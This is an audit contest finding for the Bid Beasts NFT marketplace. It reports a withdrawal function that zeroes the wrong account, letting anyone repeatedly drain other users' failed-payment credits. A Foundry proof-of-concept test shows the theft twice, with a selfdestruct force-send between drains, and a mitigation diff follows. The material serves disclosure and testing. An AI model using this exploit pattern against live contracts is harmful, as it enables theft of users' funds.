Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary & infinite drain of “failed credits”

s3mvl4d

Arbitrary & infinite drain of “failed credits”

Description

  • Failed ETH payments to users (e.g., seller proceeds or out‑bid refunds) are supposed to be credited in failedTransferCredits[recipient]. The intended withdrawal flow is that the same recipient later withdraws their own credits, and the contract zeroes that recipient’s balance before sending ETH to avoid double-withdrawals.

  • withdrawAllFailedCredits(address _receiver) reads the balance from failedTransferCredits[_receiver] but zeroes failedTransferCredits[msg.sender] and then transfers the funds to msg.sender. This lets an attacker withdraw someone else’s credits and, because the victim’s balance is never reduced, repeat the withdrawal indefinitely as long as the contract keeps receiving ETH (e.g., via bids, fees, or forced ether).

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; //zeroes the wrong address
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • This occurs whenever any failed payout credit exists—common in marketplaces because recipients can be contracts that reject ETH (e.g., no receive() or an intentional revert), creating credits for sellers or out‑bid bidders.

  • An attacker can call withdrawAllFailedCredits with any _receiver address holding credits; no authentication binds the withdrawal to the credited party.

Impact:

  • Direct theft of ETH held by the marketplace (seller proceeds, bidder refunds, accumulated fees) to the attacker’s address.

  • Repeated drains over time: because the victim’s credit is never decremented, the attacker can withdraw the same amount again whenever the contract balance is replenished (e.g., new bids, owner fee deposits, or forced ETH).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import "forge-std/Test.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
​
// A seller that can list the NFT but REVERTS on receiving ETH, causing _payout to credit.
contract VictimSeller {
BidBeasts public immutable nft;
BidBeastsNFTMarket public immutable market;
address public immutable owner;
uint256 public immutable tokenId;
​
constructor(BidBeasts _nft, BidBeastsNFTMarket _market, uint256 _tokenId) {
nft = _nft;
market = _market;
owner = msg.sender;
tokenId = _tokenId;
}
​
function approveAndList(uint256 minPrice) external {
require(msg.sender == owner, "not owner");
nft.approve(address(market), tokenId);
market.listNFT(tokenId, minPrice, 0);
}
​
// Revert on any ETH reception -> forces _payout failure -> credits are created
receive() external payable { revert("no receive"); }
}
​
// Helper contract to force-send ETH via selfdestruct (bypasses lack of receive()).
contract ForceSend {
constructor() payable {}
function boom(address target) external {
selfdestruct(payable(target));
}
}
​
contract FailedCreditsDrainTest is Test {
BidBeasts nft;
BidBeastsNFTMarket market;
​
address attacker = address(0xBEEF);
address bidder = address(0xB1D01);
​
VictimSeller victim;
uint256 tokenId;
​
function setUp() public {
// Deploy NFT and Market
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
​
// Mint NFT to victim contract
vm.startPrank(nft.owner());
tokenId = nft.mint(address(this)); // mint to this test
vm.stopPrank();
​
// Move NFT into a VictimSeller (will own the token and list)
victim = new VictimSeller(nft, market, tokenId);
// Transfer token to victim
nft.transferFrom(address(this), address(victim), tokenId);
​
// Victim lists with min price = 0.01 ether
vm.prank(address(this));
victim.approveAndList(0.01 ether);
​
// Fund bidder and attacker
vm.deal(bidder, 100 ether);
vm.deal(attacker, 100 ether);
}
​
function test_DrainFailedCredits_Repeatedly() public {
// 1) Bidder places a valid bid (> 0.01 ether)
vm.prank(bidder);
market.placeBid{value: 0.02 ether}(tokenId);
​
// 2) Seller accepts highest bid -> _executeSale -> _payout to victim FAILS
// because VictimSeller reverts on receive(), so credits are recorded.
// We call as the victim's EOA controller (this test) because VictimSeller
// listed from its own address already.
vm.prank(address(victim));
market.takeHighestBid(tokenId);
​
// Compute expected seller proceeds
// fee = 5% -> 0.001 ether; proceeds = 0.019 ether
uint256 expectedProceeds = 0.02 ether - (0.02 ether * 5 / 100);
assertEq(market.failedTransferCredits(address(victim)), expectedProceeds, "credits not recorded");
​
// Contract now holds at least expectedProceeds (plus fee).
uint256 beforeBalance = address(market).balance;
assertGe(beforeBalance, expectedProceeds);
​
// 3) Attacker steals victim's credits by specifying _receiver = victim
vm.prank(attacker);
market.withdrawAllFailedCredits(address(victim)); // sends expectedProceeds to attacker
​
// Victim's credits were NOT decremented; attacker got paid
assertEq(market.failedTransferCredits(address(victim)), expectedProceeds, "victim credits changed");
assertEq(address(attacker).balance, 100 ether + expectedProceeds, "attacker not paid");
​
// 4) Force top-up the marketplace and drain AGAIN (repeatability)
ForceSend fs = new ForceSend{value: expectedProceeds}();
fs.boom(address(market)); // force-send to market via selfdestruct
​
// Second theft: read same victim credits again
vm.prank(attacker);
market.withdrawAllFailedCredits(address(victim)); // steals same amount again
​
assertEq(market.failedTransferCredits(address(victim)), expectedProceeds, "victim credits changed after second drain");
assertEq(address(attacker).balance, 100 ether + expectedProceeds * 2, "attacker second payout missing");
}
}

Recommended Mitigation

Bind withdrawal to msg.sender, clear the same account you read, and (defense‑in‑depth) add a reentrancy guard.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
​
+ // Consider: import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ // and inherit ReentrancyGuard to add nonReentrant.
+ function withdrawAllFailedCredits() external /* nonReentrant */ {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0; // zero the correct slot
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 26 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.